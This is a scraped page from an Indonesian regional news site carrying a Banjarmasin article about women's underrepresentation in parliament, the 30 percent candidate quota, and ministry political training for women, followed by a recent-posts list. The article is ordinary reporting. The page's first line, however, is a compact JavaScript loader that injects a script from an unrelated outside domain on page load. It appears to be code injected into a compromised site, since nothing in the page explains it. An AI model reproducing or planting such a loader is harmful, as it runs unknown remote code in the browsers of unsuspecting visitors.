(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Suara Perempuan Diincar, Tapi Keterwakilan di Parlemen Dikecilkan


BANJARMASIN, Rendahnya implementasi kursi perempuan di parlemen masih menjadi keprihatinan Kementerian Pemberdayaan Perempuan dan Perlindungan Anak. Meski telah diamanatkan dalam UU No Tahun 2012 keharusan bagi parpol untuk memenuhi kuota 30 persen bagi perempuan, tetapi kenyataannya masih jauh panggang dari api.

Bahkan, Pasal 56 ayat 2 menyebutkan bahwa dalam setiap 3 orang bakal calon terdapat sekurang-kurangnya 1 orang perempuan.  Poin-poin tersebut  dikuatkan dengan Peraturan Komisi Pemilihan Umum (KPU) Nomor 7 Tahun 2013 pada Pasal 11b,11d, 24 ayat 1c-d dan ayat 2.

Menurut Asisten Deputi Bidang Politik, Hukum dan Keamanan, Kementerian Pemberdayaan Perempuan dan Perlindungan Anak,  DR Akhmad Darsono, saat ini prosentase keterwakilan perempuan di daerah rata-rata hanya 10 %.

“Otomatis tidak sesuai dengan UU Pemilu yang menyatakan bahwa perempuan di parlemen sebanyak 30 persen, ” ujarnya.

Menurut Akhmad, data terakhir saat ini ada 25 DPRD Kabupaten/Kota di Indonesia yang tidak ada wakil perempuan. Sedangkan untuk  DPR RI  ada sebanyak 7 provinsi yang tidak terwakili,  dan DPD RI ada sebanyak 11 daerah yang tidak terwakili. Untuk DPRD Banjarmasin sendiri, saat ini ada 7 perempuan dari 41 anggota dewan.

Melihat permasalahan tersebut, Kementerian Pemberdayaan Perempuan dan Perlindungan Anak, berinisiatif memberikan pelatihan politik untuk meningkatkan kualitas SDM calon politikus perempuan. Semua berdasarkan Peraturan Menteri Nomor 10 tahun 2015 tentang Grand Design Peningkatan Kepelatihan Perempuan di DPR, DPD dan DPRD Provinsi dan Kabupaten pada pemilu 2019.

“Kami mengharapkan Gubernur dan Wali Kota serta Bupati bisa berpartisipasi untuk memfasilitasi pendidikan politik perempuan dalam rangka mensukseskan pemilih 2019 sekaligus memberikan keteladanan wanita di kursi parlemen,” ungkap Darsono.

Pelatihan tersebut demi menyonsong kesetaraan gender pada tahun 2030 dengan pola 50:50 yang merupakan komitmen nasional dan internasional.

“Semua berdasarkan UU No 7 tahun 1984 tentang anti diskriminasi terhadap perempuan,  termasuk komitmen internasional yaitu planet 50:50 di bidang pembangunan, serta bidang politik,” ungkapnya.

Adapun materi yang dipaparkan dalam pelatihan kader politik yaitu sistem pemilu yang baru 2019, strategi kampanye yang sesuai dengan perundang-undangan, pengawalan suara, materi tentang personal branding dan marketing politik, dan terakhir bagaimana strategi perolehan suara minimal meraih kursi di DPRD. (robby)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.